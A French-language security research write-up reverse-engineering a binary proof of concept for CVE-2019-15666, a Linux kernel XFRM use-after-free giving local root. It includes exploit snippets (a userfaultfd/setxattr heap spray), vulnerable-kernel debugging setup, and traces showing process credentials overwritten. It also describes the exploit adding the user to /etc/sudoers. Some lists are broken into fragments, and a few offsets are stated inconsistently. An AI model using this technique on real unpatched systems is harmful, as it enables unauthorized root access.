Le 15 janvier 2020, le chercheur en sécurité Vitaly Nikolenko a publié un article de blog dans la continuité de la divulgation du CVE-2019-15666. Dans ce billet, il détaille un exploit, avec élévation de privilèges, utilisant cette vulnérabilité pour passer root à partir d’un compte utilisateur standard.
En plus de l’article, il a diffusé un rapport technique ainsi qu’une preuve de concept (PoC) pour son exploit. Cependant, seule une version binaire du PoC a été publiée et son code source n’a pas été partagé. L’exploit est basé sur un Use-After-Free dans le sous-système XFRM. Dans le rapport technique, Vitaly résume brièvement les étapes pour déclencher le bogue, mais demeure globalement à un niveau relativement abstrait.
Afin de mieux comprendre la vulnérabilité et la façon dont elle est exploitée, nous avons entrepris une rétroconception du binaire. Le but était principalement d’être en mesure de recoder l’exploit tout en maîtrisant l’ensemble du processus d’exploitation.
Avec une machine virtuelle (VM) exécutant un noyau vulnérable et débogable en direct, deux approches ont été travaillées : une analyse statique et une analyse dynamique. Les sections suivantes détaillent ces deux approches.
L’exploit tourne autour de l’insertion d’une nouvelle politique XFRM pour déclencher un bogue de type Use-After-Free.
XFRM est un module du noyau Linux dont le boulot est de contribuer aux fonctionnalités IPsec en gérant la Security Policy Database (SPD) et la Security Association Database (SAD). Cet article a été réellement utile pour la compréhension des politiques XFRM, leur rôle et comment elles peuvent être manipulées par l’utilisateur. Il inclut également un exemple en C avec les données structurelles correctes à utiliser pour manipuler les politiques XFRM à l’intérieur d’un programme.
Le rapport technique concernant la vulnérabilité fait apparaître que l’exploit est basé sur les insertions sucessives de deux nouvelles politiques :
0
(auto-généré par le sous-système), direction 0
and priorité 0
;4
, direction 0
, priorité 1
(>0
) et avec un minuteur ;XFRM_SPD_IPV4_HTHRESH
est envoyée pour déclencher le rehashing des politiques ;XFRM_FLUSH_POLICY
est ensuite envoyée, libérant la première politique ;L’article mentionné plus haut montre comment insérer une nouvelle politique de sécurité, ce qui correspond exactement aux premières opérations de l’exploit ; seules quelques adaptations sont nécessaires par rapport à la politique générique donnée dans l’exemple.
Ce sont principalement IDA et Ghidra ont été utilisés pour effectuer la rétroconception du binaire ; l’article sur les politiques XFRM a d’ailleurs permis de faciliter ce travail en aidant à retrouver plus facilement l’endroit où les politiques étaient insérées. Comme le code source était en C, la rétroconception dans sa globalité n’était pas si évidente, même si le désassemblage de Ghidra a été bien sollicité pour les structures de données.
Le code C pour l’exploit et tous les autres fichiers sont disponibles sur notre Github.
Selon la liste des importations présentées par IDA, la fonction syscall()
est employée plusieurs fois dans l’exploit.
En validant les références croisées, la syscall
fonction est utilisée quatre fois, incluant les trois fois de la fonction main
et un usage supplémentaire dans une sous-fonction anonyme (comme le binaire est strippé). Pour comprendre quels appels système sont utilisés, la table de ces appels peut être consultée. Il est important de noter que l’exploit est compilé en 64 bits.
Les trois appels système de main()
sont de simples appels à exit
, mais pour l’appel de la sous-fonction, il s’agit du numéro d’appel système 0x143
, qui correspond à :
323 common userfaultfd sys_userfaultfd
Cet appel est utilisé dans la technique de heap spraying qui sera expliquée davantage dans les paragraphes à venir. Comme l’appel système userfaultfd
ne dispose pas d’une prise en compte dans la glibc, il est nécessaire de conserver l’usage de syscall()
et de simplement remplacer la valeur 0x143
par la constate plus appropriée SYS_userfaultfd
dans le code C reconstitué.
La rétroconception des fonctions qui envoient des messages au noyau est quasiment directe et produit un code compréhensible :
Cependant, les fanions disponibles pour une requête XFRM_MSG_NEWPOLICY
sont précisés dans le fichier include/uapi/linux/netlink.h :
/* Flags values */ #define NLM_F_REQUEST 0x01 /* It is request message. */ ... /* Modifiers to NEW request */ #define NLM_F_REPLACE 0x100 /* Override existing */ #define NLM_F_EXCL 0x200 /* Do not touch, if it exists */ #define NLM_F_CREATE 0x400 /* Create, if it does not exist */ #define NLM_F_APPEND 0x800 /* Add to end of list */
Il n’y donc pas de somme cohérente qui aboutit à 0x301
, comme 0x100
et 0x200
sont contradictoires. Et il existe plusieurs endroits dans le noyau où les deux drapeaux sont effectivement mutuellement exclusifs. Ceci tend à laisser penser qu’il pourrait y avoir quelques coquilles dans le PoC.
Deux adresses IPv6 sont définies dans la fonction xfrm_add_policy_0()
:
fe80:0:0:0:0:0:0:aa(fe80::aa)
, qui est l’une des valeurs réservées pour l’adresse de lien local;0:0:0:0:a00:0:0:0
, qui mène nulle part.Il y a également une double copie du premier bloc IPv6 dans la fonction :
La second copie ciblait peut-être l’adresse de source mais une confusion entre daddr
et saddr
s’est peut-être ensuite installée dans le code.
Les fautes de page sont un type d’exceptions levées par le CPU pour informer l’OS d’un accès à des données qui ne sont pas (encore) placées en mémoire. En réponse à la faute, l’OS va allouer davantage de pages au processus et remplir ce nouvel espace avec les données requises. Il va ensuite actualiser la MMU et indiquer au CPU de reprendre son exécution.
Contrairement à ce que pourrait laisser penser son nom, une faute de page n’est donc pas une erreur mais un événement plutôt commun et usuel. La plupart du temps, les fautes de page sont gérées à partir de l’espace noyau, mais l’appel système userfaultfd()
est utilisé pour assurer cette gestion dans l’espace utilisateur.
userfaultfd()
a été créé à l’origine pour étendre les capacités de Linux au niveau de la mémoire virtuelle : par exemple, le nouvel appel système a augmenté la vitesse d’une migration en direct de machines virtuelles entre des hôtes physiques, ou permet la capture d’instantanés de processus en cours sans interruption. Plusieurs cas d’utilisation de cette fonctionnalité existent et sont listés dans la page citée ci-avant.
L’auteur de l’exploit a publié un excellent billet il y a un an, dans lequel il partage une technique très efficace qui utilise userfaultfd()
et setxattr()
afin d’exploiter des bogues de type Use-After-Free dans le noyau Linux via un heap spray.
L’idée principale est que userfaultfd()
donne le contrôle de l’espérance de vie de données qui sont allouées par setxattr()
dans l’espace noyau. Comme spécifié dans la page de manuel associée à userfaultfd()
, tant que le descripteur de fichier reste ouvert, l’objet reste dans l’espace noyau :
When the last file descriptor referring to a userfaultfd object is closed, all memory ranges that were registered with the object are unregistered and unread events are flushed.
Dans l’ensemble, l’emploi de userfaultfd
est relativement complexe, surtout dans l’optique d’une attaque pour ce genre d’exploitation.
Même si ce n’est pas obligatoire, l’utilisation d’une machine virtuelle pour exécuter l’exploit facilite la compréhension de l’exploitation. Une petite VM avec 2 Go de RAM, 20 Go d’espace disque, 2 CPU et une installation Ubuntu de base est suffisante.
Le CVE-2019-15666 a été corrigé dans le noyau 4.15.0-60.67 pour Ubuntu 18.04 LTS (Bionic Beaver).
La liste de toutes les versions peut être récupérée grâce à la commande suivante :
$ apt-cache search linux-image-unsigned-4.15 | grep generic ... linux-image-unsigned-4.15.0-55-generic - Linux kernel image for version 4.15.0 on 64 bit x86 SMP linux-image-unsigned-4.15.0-58-generic - Linux kernel image for version 4.15.0 on 64 bit x86 SMP linux-image-unsigned-4.15.0-60-generic - Linux kernel image for version 4.15.0 on 64 bit x86 SMP linux-image-unsigned-4.15.0-62-generic - Linux kernel image for version 4.15.0 on 64 bit x86 SMP linux-image-unsigned-4.15.0-64-generic - Linux kernel image for version 4.15.0 on 64 bit x86 SMP linux-image-unsigned-4.15.0-65-generic - Linux kernel image for version 4.15.0 on 64 bit x86 SMP linux-image-unsigned-4.15.0-66-generic - Linux kernel image for version 4.15.0 on 64 bit x86 SMP linux-image-unsigned-4.15.0-69-generic - Linux kernel image for version 4.15.0 on 64 bit x86 SMP linux-image-unsigned-4.15.0-70-generic - Linux kernel image for version 4.15.0 on 64 bit x86 SMP
Afin d’obtenir les sources d’un noyau depuis le serveur d’Ubuntu, la ligne suivante doit être décommentée dans le fichier /etc/apt/sources.list
:
deb-src http://fr.archive.ubuntu.com/ubuntu/ bionic main restricted
Ensuite la liste des données disponibles doit être raffraichie via apt-get update
et les dépendances pour la compilation d’un noyau peuvent être téléchargées :
# apt-get update # apt-get build-dep linux linux-image-$(uname -r) # apt-get install libncurses-dev flex bison openssl libssl-dev dkms libelf-dev libudev-dev libpci-dev libiberty-dev autoconf # apt-get install fakeroot
Les sources du dernier noyau existant avant que le correctif ne soit appliqué peuvent être téléchargées dans un nouveau répertoire avec :
$ mv kernel kernel.old $ mkdir kernel $ cd kernel $ apt-get source linux-image-unsigned-4.15.0-58-generic
Un coup d’oeil rapide à la fonction verify_newpolicy_info()
définie dans le fichier net/xfrm/xfrm_user.c
montre que le correctif n’a pas été appliqué, donc la fonction reste vulnérable comme attendu.
Recompiler un noyau personnalisé et produire des paquets sont des opérations bien documentées, au moins pour Ubuntu. Cependant, le processus est relativement lourd et lent, comme quantité de modules noyau sont compilés afin de produire le noyau officiel Ubuntu. Il est plus efficace de reconstruire un noyau manuellement à partir des sources Ubuntu.
La première étape est de définir une configuration de construction minimale :
$ cd linux-4.15.0/ $ make defconfig
Le fonctionnalités requises par l’exploit doivent être activées :
$ echo CONFIG_USER_NS=y >> .config $ echo CONFIG_USERFAULTFD=y >> .config
Afin d’extraire certaines informations à propos des structures impliquées depuis le binaire vmlinux
final, cette option supplémentaire est nécessaire :
$ echo CONFIG_DEBUG_INFO=y >> .config
Afin de faire du débogage en direct sur le noyau courant avec gdb
, il est conseillé de sélectionner quelques options supplémentaires :
$ echo CONFIG_GDB_SCRIPTS=y >> .config $ echo CONFIG_FRAME_POINTER=y >> .config $ echo CONFIG_KGDB=y >> .config $ echo CONFIG_KGDB_SERIAL_CONSOLE=y >> .config $ echo CONFIG_KDB_KEYBOARD=y >> .config
Le framebuffer est utile pour obtenir les messages de démarrage dans la console TTY. Le support associé peut être rapidement récupéré depuis la configuration courante :
$ < /boot/config-5.3.0-46-generic grep _FB_ >> .config
Si la VM est lancée par KVM
, les pilotes virtio
sont requis pour cette VM afin de supporter le disque et la carte réseau par défaut :
$ < /boot/config-5.3.0-46-generic grep _VIRTIO >> .config
Tous les modules doivent être intégrés dans le binaire central pour construire le noyau final, et la configuration a besoin d’être mise à jour :
$ sed -i 's/=m$/=y/' .config $ make olddefconfig
L’ensemble de ces étapes de configuration peuvent également être lancées en utilisant le script define-cfg.sh.
Finalement le noyau peut être compilé :
$ make -j $(( $(nproc) * 2 ))
La compilation entière prend environ 15 minutes dans la petite VM décrite ici.
L’image du noyau doit être copiée dans le répertoire /boot
en premier lieu :
# cp arch/x86/boot/bzImage /boot/vmlinuz-4.15.0-lucky
Pour le processus de démarrage, la configuration grub doit être modifiée :
# sed -i 's/^GRUB_CMDLINE_LINUX_DEFAULT=.*$/GRUB_CMDLINE_LINUX_DEFAULT="text loglevel=1 kgdboc=ttyS0,115200 nokaslr"/' /etc/default/grub
De plus, il peut être confortable d’avoir le temps de modifier les options de démarrage au lancement :
# sed -i 's/^GRUB_TIMEOUT=.*$/GRUB_TIMEOUT=2/' /etc/default/grub # sed -i 's/^GRUB_TIMEOUT_STYLE=.*$/GRUB_TIMEOUT_STYLE=countdown/' /etc/default/grub
Afin d’apprécier une résolution de console TTY plus grande, le framebuffer peut être également étendu :
# echo GRUB_GFXMODE=1920x1080x16 >> /etc/default/grub # echo GRUB_GFXPAYLOAD_LINUX=keep >> /etc/default/grub
Ces valeurs viennent de l’outil hwinfo
:
# apt install hwinfo # hwinfo --framebuffer | grep 1920x Mode 0x0387: 1920x1200 (+3840), 16 bits Mode 0x0388: 1920x1200 (+5760), 24 bits Mode 0x0389: 1920x1200 (+7680), 24 bits Mode 0x0390: 1920x1080 (+3840), 16 bits Mode 0x0391: 1920x1080 (+5760), 24 bits Mode 0x0392: 1920x1080 (+7680), 24 bits
Sans hwinfo
, les paramètres peuvent être affichés dans le shell Grub (pressez [c]) grâce à la commande vbeinfo
.
A l’intérieur du shell Grub, il existe une manière de faire défiler la sortie de la commande en définissant une variable :
set pager=1
Sélectionner le nouveau noyau comme noyau par défaut est un peu subtil mais peut être obtenu avec le script update-grub.sh :
$ sudo ~/update-grub.sh && sudo reboot
Pour éviter de démarrer une session graphique, systemd ne doit pas charger le gestionnaire de connexion graphique :
# systemctl enable multi-user.target --force # systemctl set-default multi-user.target
Une fois que la VM est en fonctionnement, déclencher kgdb
se réalise avec la commande suivante :
# echo g > /proc/sysrq-trigger
Du côté de l’hôte, si /dev/pts/2
fait référence au périphérique série, gdb
peut être attaché au noyau en cours d’exécution avec la copie locale du noyau binaire et la commande suivante :
$ gdb ./vmlinux -ex 'set remotebaud 115200' -ex 'target remote /dev/pts/2'
Le Use-After-Free décrit dans le rapport technique touche les politiques XFRM. La taille des structures concernées peut être récupérée en s’appuyant sur gdb
:
$ gdb ./vmlinux --batch -ex 'p sizeof(struct xfrm_policy)' $1 = 784
Toutes les politiques sont ainsi allouées en s’appuyant sur l’allocateur SLAB kmalloc-1024
, qui prend en compte les demandes allant de 513 à 1024 octets.
Ce qui se révèle surprenant en regardant le code obtenu par rétroconception, c’est le fait que le heap spray produit par l’exploit d’origine ne remplit par la mémoire avec des valeurs choisies. Ce spray utilise une technique publique impliquant les appels système userfaultfd()
et setxattr()
:
... void *addr; addr = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) { perror("mmap"); exit(-1); } ret = uffd_setup(addr, 0x1000, flag, idx); ... setxattr("/etc/passwd", "user.test", addr, 0x400, XATTR_CREATE); return ret;
Mais dans la situation courante, la source pour la copie de userfaultfd()
est uniquement du déchet de la pile de l’espace utilisateur :
... void *addr; struct uffdio_copy io_copy; char src[0x1000]; ... addr = (void *)(msg.arg.pagefault.address & 0xfffffffffffff000); io_copy.dst = (unsigned long)addr; io_copy.src = (unsigned long)src; io_copy.len = 0x1000; io_copy.mode = 0; if (...) { if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) perror("UFFDIO_COPY"); } else if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) perror("UFFDIO_COPY"); ...
L’escalade de privilèges semble ne pas reposer sur une exploitation complexe basée sur une confusion de type opérant dans l’espace noyau.
Le rapport technique évoque une primitive d’écriture de 8 octets. Pourquoi ne pas écrire struct cred directement ? Une fois encore, gdb
arrive à la rescousse ! Le champ écrasé pprev
est une valeur de 8 octets localisée à l’emplacement 0x16 :
$ gdb ./vmlinux --batch -ex 'pt /o struct xfrm_policy' /* offset | size */ type = struct xfrm_policy { /* 0 | 8 */ possible_net_t xp_net; /* 8 | 16 */ struct hlist_node { /* 8 | 8 */ struct hlist_node *next; /* 16 | 8 */ struct hlist_node **pprev; /* total size (bytes): 16 */ } bydst; /* 24 | 16 */ struct hlist_node { /* 24 | 8 */ struct hlist_node *next; /* 32 | 8 */ struct hlist_node **pprev; /* total size (bytes): 16 */ } byidx; /* 40 | 8 */ rwlock_t lock; /* 48 | 4 */ refcount_t refcnt; ...
L’analyse de la contenu de struct cred
révèle que les champs sgid
et euid
sont des valeurs de 8 octets localisées à l’emplacement 0x16 :
$ gdb ./vmlinux --batch -ex 'pt /o struct cred' /* offset | size */ type = struct cred { /* 0 | 4 */ atomic_t usage; /* 4 | 4 */ kuid_t uid; /* 8 | 4 */ kgid_t gid; /* 12 | 4 */ kuid_t suid; /* 16 | 4 */ kgid_t sgid; /* 20 | 4 */ kuid_t euid; /* 24 | 4 */ kgid_t egid; /* 28 | 4 */ kuid_t fsuid; /* 32 | 4 */ kgid_t fsgid; /* 36 | 4 */ unsigned int securebits; /* 40 | 8 */ kernel_cap_t cap_inheritable; /* 48 | 8 */ kernel_cap_t cap_permitted; /* 56 | 8 */ kernel_cap_t cap_effective; /* 64 | 8 */ kernel_cap_t cap_bset; /* 72 | 8 */ kernel_cap_t cap_ambient; ...
Les objets struct cred
sont alloués à partir d’un cache dédié. Mais comme l’allocateur SLUB fusionne tous les caches similaires, ces objets sont au final alloués en utilisant l’allocateur kmalloc-192
:
$ gdb ./vmlinux --batch -ex 'p sizeof(struct cred)' $1 = 168
Comment un écrasement d’objets issus d’un allocateur donné peut-il avoir des conséquences sur des objets appartenant à un allocateur autre ?
L’objet struct kmem_cache
gère les allocations dynamiques de mémoire dans le noyau. Son comportement est bien documenté sur Internet :
Chaque type d’allocateurs (SLAB, SLUB) repose sur des slabs
encadrant plusieurs pages de mémoire physique. Les allocations utilisent ces pages comme sources pour fournir les zones de mémoire allouées à la demande. Les slabs
peuvent se retrouver dans l’un des états suivants :
slab
sont libres ;slab
est constitué à la fois d’objets libres et utilisés ;slab
sont utilisés.Quand le noyau Linux décide de libérer un slab
vide, les pages physiques correspondantes retournent dans l’ensemble des pages disponibles. De telles pages peuvent migrer d’un cache à un autre, selon l’activité du système.
L’exploit lucky0
fait en sorte que la politique XFRM #1 écrase un champ dans la politique XFRM #0 libérée.
Les deux objets appartiennent à des slabs
différents si la politique #0 doit évoluer vers un objet d’une taille différente :
kmalloc-1024
;slab
est libéré, la mémoire assoiée peut être réutilisée pour un autre cache, le kmalloc-192
pour les objets struct cred
par exemple.C’est exatement ce que l’exploit d’origine produit.
Avant d’entrer dans les détails, voici une vue d’ensemble :
Cette opération est menée avec un appel à la fonction xfrm_add_policy_0()
. Ensuite un heap spray est effectué en utilisant des appels système setxattr()
. Une partie du spray est seulement lancé après l’allocation d’un objet xfrm_policy
pour la politique #0, en débloquant les opérations de lecture sur les pipes.
Cela est fait pour assurer une distance entre les deux politiques XFRM en mémoire : ce spray en deux temps réduit le risque d’avoir une politique #0 et une politique #1 dans le même slab
car la seconde étape remplit l’ensemble de l’espace disponible restant dans le slab
utilisé pour la politique #0.
La seconde politique est mise en place avec un appel à la fonction xfrm_add_policy1()
. Ensuite la situation à problèmes est préparée en appelant les fonctions xfrm_hash_rebuild()
et xfrm_flush_policy0()
. Le minuteur à venir sur la politique #1 va réellement déclencher le bogue un peu après.
Fermer le second pipe débloque les autres opérations de lecture en attente dans le gestionnaire pour userfaultfd()
: cela interrompt la lecture bloquante dans la fonction uffd_spray_handler()
, l’appel système setxattr()
se termine et les enfants poursuivent alors leur exécution.
Quand l’appel système setxattr()
se termine, la mémoire allouée pour copier les 1024 octets de données dans la mémoire du noyau sont libérés. Si cette mémoire était voisine de la politique #0 libérée, alors les chances sont bonnes pour que le slab
associé devienne vide et soit ainsi également libéré. L’appel suivant à setgid()
mène à l’allocation de struct cred
, avec une potentielle réutilisation de la mémoire utilisée par la politique #0.
Le minuscule code de l’appel système setgid()
montre un appel à la fonction prepare_creds()
sans condition, comme le trace un ajout de WARN_ON(1)
:
Apr 13 12:56:31 ubuntu18 kernel: [ 30.088409] ------------[ cut here ]------------ Apr 13 12:56:31 ubuntu18 kernel: [ 30.088442] WARNING: CPU: 0 PID: 2405 at kernel/cred.c:296 prepare_creds+0x150/0x160 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088443] Modules linked in: Apr 13 12:56:31 ubuntu18 kernel: [ 30.088448] CPU: 0 PID: 2405 Comm: lucky0 Tainted: G W 4.15.18 #38 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088450] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088454] RIP: 0010:prepare_creds+0x150/0x160 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088456] RSP: 0018:ffffc90001f1ff08 EFLAGS: 00010296 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088459] RAX: 0000000000000024 RBX: ffff88801c183b40 RCX: 0000000000000006 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088461] RDX: 0000000000000007 RSI: 0000000000000086 RDI: ffff88803fc154f0 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088463] RBP: ffff88802bf0e200 R08: 0000000000011331 R09: 0000000000000004 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088465] R10: 0000000000000000 R11: 0000000000000001 R12: ffff88802bf0e200 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088466] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088469] FS: 00007fc32fb81740(0000) GS:ffff88803fc00000(0000) knlGS:0000000000000000 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088471] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088480] CR2: 00007f660640fe00 CR3: 000000002bfa4005 CR4: 0000000000360ef0 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088482] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088484] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088485] Call Trace: Apr 13 12:56:31 ubuntu18 kernel: [ 30.088493] SyS_setgid+0x32/0xb0 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088497] do_syscall_64+0x5b/0x110 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088501] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088504] RIP: 0033:0x7fc32f759f10 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088505] RSP: 002b:00007fffdd090070 EFLAGS: 00000246 ORIG_RAX: 000000000000006a Apr 13 12:56:31 ubuntu18 kernel: [ 30.088508] RAX: ffffffffffffffda RBX: 00007fffdd0900d0 RCX: 00007fc32f759f10 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088510] RDX: f8d5916a2c50cf00 RSI: 0000000000000000 RDI: 00000000000003e8 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088512] RBP: 00000000000000ca R08: 00007fc32f971330 R09: 00007fc32f96d2b0 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088514] R10: 00007fc32f971330 R11: 0000000000000246 R12: 00007fc32f971330 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088516] R13: 00007fc32f96d2b0 R14: 00007fffdd0900f0 R15: 00007fc32fb81740 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088519] Code: 49 b8 cd ab 78 56 cd ab 34 12 48 89 da 48 89 de 4c 89 c1 48 c7 c7 38 83 1e 82 e8 71 d1 02 00 48 c7 c7 c0 52 1d 82 e8 65 d1 02 00 <0f> 0b eb ab 66 90 66 2e 0f 1f 84 00 00 00 00 00 53 48 89 fb 48 Apr 13 12:56:31 ubuntu18 kernel: [ 30.088557] ---[ end trace ae5a0f95dd91ddd4 ]---
Si le processus fils obtient l’écrasement de sa struct cred
, son champ euid
comporte désormais une valeur nulle. Cette situation est évaluée avec un appel à seteuid(0)
. Si cet appel réussit, alors l’accès root est garanti !
Une fois que le processus courant dispose des privilèges root, il met à jour le contenu du fichier /etc/sudoers
en ajoutant l’utilisateur courant comme sudoer sans contrainte de mot de passe afin de rendre ce niveau de privilèges persistant pour cet utilisateur courant.
Le correctif lucky-trace.patch peut être appliqué aux sources du noyau pour tracer l’exécution de l’exploit.
Il est important de souligner que la trace de l’exécution du noyau avec des messages de débogage peut modifier le comportement de ce noyau mais dans la situation courante, l’exploit continue d’exploiter.
Les adresses écrasées peuvent être récupérées après quelques essais (5 ici) :
# cat $( ls -tr /var/log/syslog* ) | grep overwrite Apr 13 15:55:57 ubuntu18 kernel: [ 16.525727] POLICY overwrite *pprev=ffff88001d5c0808 <- next=0 Apr 13 15:56:12 ubuntu18 kernel: [ 31.778637] POLICY overwrite *pprev=ffff88002abf4808 <- next=0 Apr 13 15:56:28 ubuntu18 kernel: [ 47.029712] POLICY overwrite *pprev=ffff88001c125008 <- next=0 Apr 13 15:56:44 ubuntu18 kernel: [ 62.302815] POLICY overwrite *pprev=ffff880026072008 <- next=0 Apr 13 15:56:59 ubuntu18 kernel: [ 77.547406] POLICY overwrite *pprev=ffff88002dd5a008 <- next=0
La dernière entrée fait référence à l’écrasement effectif du champ prev
de la politique #1, qui renvoie que champ next
de la politique #0. Donc la politique #0 était allouée à :
0xffff88002dd5a008 - 8 = 0xffff88002dd5a000
Il y avait un slab
libre de 1024 octets à cette emplacement :
# cat $( ls -tr /var/log/syslog* ) | grep "SLAB free" | grep ffff88002dd5 Apr 13 15:57:00 ubuntu18 kernel: [ 78.548715] SLAB free: ffff88002dd58000 -> ffff88002dd5c000 Apr 13 15:57:00 ubuntu18 kernel: [ 78.548720] SLAB free: ffff88002dd50000 -> ffff88002dd54000 Apr 13 15:57:00 ubuntu18 kernel: [ 78.556735] SLAB free: ffff88002dd4c000 -> ffff88002dd50000
Cette page a été plus tard réutilisée pour un slab
de 192 octets :
# cat $( ls -tr /var/log/syslog* ) | grep "SLAB alloc" | grep ffff88002dd5a000 Apr 13 15:57:01 ubuntu18 kernel: [ 79.373317] SLAB alloc: ffff88002dd59000 -> ffff88002dd5a000 Apr 13 15:57:01 ubuntu18 kernel: [ 79.374448] SLAB alloc: ffff88002dd5a000 -> ffff88002dd5b000
Et il y avait en effet des objets struct cred
alloués pour un processus lucky
à l’emplacement de la politique #0 :
# cat $( ls -tr /var/log/syslog* ) | grep "CRED" | grep ffff88002dd5a000 Apr 13 15:57:01 ubuntu18 kernel: [ 79.374450] CRED alloc: ffff88002dd5a000 Apr 13 15:57:06 ubuntu18 kernel: [ 84.454714] CRED alloc: ffff88002dd5a000
Donc la primitive d’écriture obtenue à partir du UAF a écrasé les credentials du processus.
Au final, une exploration profonde du CVE-2019-15666 a été menée. Tous les concepts requis pour une bonne compréhension du fonctionnement de la vulnérabilité ont été abordés, complétés par quelques éléments intéressants survenus pendant l’analyse.
Des détails utiles pour essayer et reproduire la recherche sont également inclus.
A partir de là, il reste encore beaucoup de choses à poursuivre dans le cadre de cette exploration. Une bonne chose à faire serait d’améliorer le taux de succès lors de la situation de compétition, car il faut parfois du temps pour obtenir une exploitation valide. Il pourrait également être intéressant de porter l’exploit sur une autre plateforme qui satisfait les prérequis.